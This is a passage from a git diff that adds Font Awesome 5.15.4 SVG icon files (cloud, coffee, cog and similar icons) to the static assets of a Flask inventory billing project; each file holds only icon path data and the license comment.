71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-meatball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-meatball.svg new file mode 100644 index 00000000..7a9819ae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-meatball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-moon-rain.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-moon-rain.svg new file mode 100644 index 00000000..f87b8e70 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-moon-rain.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-moon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-moon.svg new file mode 100644 index 00000000..954340b4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-moon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-rain.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-rain.svg new file mode 100644 index 00000000..877f439b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-rain.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-showers-heavy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-showers-heavy.svg new file mode 100644 index 00000000..3a4299d3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-showers-heavy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-sun-rain.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-sun-rain.svg new file mode 100644 index 00000000..01403d87 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-sun-rain.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-sun.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-sun.svg new file mode 100644 index 00000000..65fdd773 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-sun.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-upload-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-upload-alt.svg new file mode 100644 index 00000000..6a57f68f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-upload-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud.svg new file mode 100644 index 00000000..b07047df --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cocktail.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cocktail.svg new file mode 100644 index 00000000..f0969cc6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cocktail.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/code-branch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/code-branch.svg new file mode 100644 index 00000000..78b7ecc2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/code-branch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/code.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/code.svg new file mode 100644 index 00000000..dc7b8f73 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/code.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/coffee.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/coffee.svg new file mode 100644 index 00000000..6b84538f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/coffee.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cog.svg new file mode 100644 index 00000000..17cc5c30 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cogs.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cogs.svg new file mode 100644 index 00000000..36f217e2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cogs.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 